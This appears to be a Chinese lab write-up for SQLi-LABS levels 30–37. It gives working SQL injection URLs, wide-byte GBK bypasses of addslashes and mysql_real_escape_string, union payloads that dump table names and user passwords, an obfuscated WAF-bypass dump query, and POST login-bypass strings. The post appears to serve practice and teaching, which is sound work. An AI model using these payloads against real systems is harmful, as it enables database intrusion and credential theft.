SQLi-LABS Page-2 (Adv Injections) Less30-Less35
Less-30
GET - BLIND - IMPIDENCE MISMATCH- Having
http://10.10.202.112/sqli/Less-30?id=1" #false
http://10.10.202.112/sqli/Less-30?id=1"--+ #true
http://10.10.202.112/sqli/Less-30?id=1" order by 4--+ #false
http://10.10.202.112/sqli/Less-30?id=1" order by 3--+ #true
http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,2,3--+

http://10.10.202.112/sqli/Less-30?id=-1" +UNION+ALL+SELECT+1,user(),version()--+

Less-31
GET - BLIND - IMPIDENCE MISMATCH- Having
http://10.10.202.112/sqli/Less-31?id=1"
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-31\index.php on line 33
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near '"1"") LIMIT 0,1' at line 1
进行闭合
http://10.10.202.112/sqli/Less-31?id=1")--+ #true
http://10.10.202.112/sqli/Less-31?id=1") order by 3--+ #true
http://10.10.202.112/sqli/Less-31?id=1") order by 4--+ #false
http://10.10.202.112/sqli/Less-31?id=-1") union select 1,2,3--+

http://10.10.202.112/sqli/Less-31?id=-1") union select 1,user(),database()--+

Less-32
GET - Bypass custom filter adding slashe
宽字节注入的问题
原理
mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤’ 的时候,往往利用的思路是将’ 转换为’ (转换的函数或者思路会在每一关遇到的时候介绍)。
%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是bypass 的一种方法。
注入思路
将’ 前面添加的\ 除掉,一般有两种思路:
urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的
http://10.10.202.112/sqli/Less-32?id=1%df%27
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-32\index.php on line 43
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1�\'' LIMIT 0,1' at line 1
进行闭合
http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 3--+ #true
http://10.10.202.112/sqli/Less-32?id=1%df%27 order by 4--+ #false
http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,2,3--+
http://10.10.202.112/sqli/Less-32?id=-1%df%27 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3--+

Less-33
原理
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
过滤:
单引号(')
双引号(")
反斜杠(\)
http://10.10.202.112/sqli/Less-33?id=1%df%27
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-33\index.php on line 39
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1�\'' LIMIT 0,1' at line 1
尝试闭合
http://10.10.202.112/sqli/Less-33?id=1%df%27--+
http://10.10.202.112/sqli/Less-33?id=-1%df%27 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-34
原理
本关是 post 型的注入漏洞,同样的也是将post 过来的内容进行了 ‘’ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为 %EF%BF%BD% 。我们就可以利用这个方式进行尝试。
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1-- -' and password='$passwd' LIMIT 0,1
SELECT username, password FROM users WHERE username='%EF%BF%BD%' or 1=1
payload:
username: %EF%BF%BD'or 1=1#
password: 123

Less-35
GET - Bypass addslashes(we don’t need them) Integer based
查看源码,可以判断为整形注入吧

http://10.10.202.112/sqli/Less-35?id=1 and 1=1--+ #true
http://10.10.202.112/sqli/Less-35?id=1 and 1=2--+ #false
http://10.10.202.112/sqli/Less-35?id=-1 union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-36
GET - Bypass MySQL_real_eacape_string
原理
mysql_real_escape_string() 函数
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string() 依旧能够被突破
payload:
%EF%BF%BD%27
http://10.10.202.112/sqli/Less-36?id=1%EF%BF%BD%27--+
http://10.10.202.112/sqli/Less-36?id=-1%EF%BF%BD%27 union select 1,concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/,3--+

Less-37
POST - Bypass MySQL_real_escape_string
post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数
payload:
uname: %EF%BF%BD'or 1=1#
passwd: 123

待续!!!
点击赞赏二维码,您的支持将鼓励我继续创作!

SQLi-LABS Page-2 (Adv Injections) Less30-Less35的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQLi-LABS Page-2 (Adv Injections) Less23-Less26
Less-23 GET - Error based - strip comments http://10.10.202.112/sqli/Less-23?id=1' Warning: mysql_fe ...
- 【靶场练习_sqli-labs】SQLi-LABS Page-2 (Adv Injections)
Less-21:括号+单引号绕过+base64cookie编码 总感觉我已经把sql注入做成代码审计了:P <?php //including the Mysql connect paramet ...
- SQLi-LABS Page-2 (Adv Injections) Less27-Less29
Less-27 GET - Error Based- All your UNION and select belong to us 过滤了union 和select的报错注入 查看源码: 使用%09 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
随机推荐
- python中集合
去重 无序 没有索引 #remove 删除元素 >>> s1 = {1,2,3,4,5} >>> s1.remove(2) >>> print(s ...
- golang的析构函数
runtime.SetFinalizer 使用这个函数可以给一个对象设置一个析构函数,如果这个对象没有引用了,那么就会调用这个析构函数,然后会把这个对象给释放掉
- Odoo12 之主题创建或扩展
初次使用 Odoo 来制作网站,因Odoo自带代码块效果单一,无法满足当前网站展示效果,需要对当前代码块进行添加或扩展.而这个代码块是属于网站中的布局设计这一块,Odoo 将所有的布局以及逻辑行为,都 ...
- [PHP] Ubuntu快速安装起PHP7.4
先安装一下这个命令 add-apt-repositoryapt-get install software-properties-common 添加第三方源:add-apt-repository ppa ...
- openresty配置
目录 环境 wsl安装 openresty安装 openssl版本问题 Lua模块安装 openresty使用 nginx常用命令 nginx.conf 配置 lua 的一些坑 OpenResty缓存 ...
- 新版本的node,全局配置
配置环境变量: 1.在你安装node环境目录下 即是node_modules同级目录中. 创建两个文件夹[node_global]及[node_cache] node_cache:缓存目录 node_ ...
- Vue生命周期钩子---2
vue生命周期简介 咱们从上图可以很明显的看出现在vue2.0都包括了哪些生命周期的函数了. 生命周期探究 对于执行顺序和什么时候执行,看上面两个图基本有个了解了.下面我们将结合代码去看看钩子函数的执 ...
- centos7.6离线安装mysql5.7(附下载链接)
本来打算直接用原生yum源安装,但是跨国访问网络太慢,只好采用离线安装的方式,原理就是把所需的rpm下载下来再上传服务器安装. 1.rpm文件下载地址: 目录: http://repo.mysql.c ...
- 经典损失函数:交叉熵(附tensorflow)
每次都是看了就忘,看了就忘,从今天开始,细节开始,推一遍交叉熵. 我的第一篇CSDN,献给你们(有错欢迎指出啊). 一.什么是交叉熵 交叉熵是一个信息论中的概念,它原来是用来估算平均编码长度的.给定两 ...
- 【Eureka篇三】EurekaServer服务注册中心(1)
注:在前面[Rest微服务案例(二)]的基础上进行操作. 1. 新建Maven Module,子模块名称为microservicecloud-eureka-7001,packaging为jar模式 & ...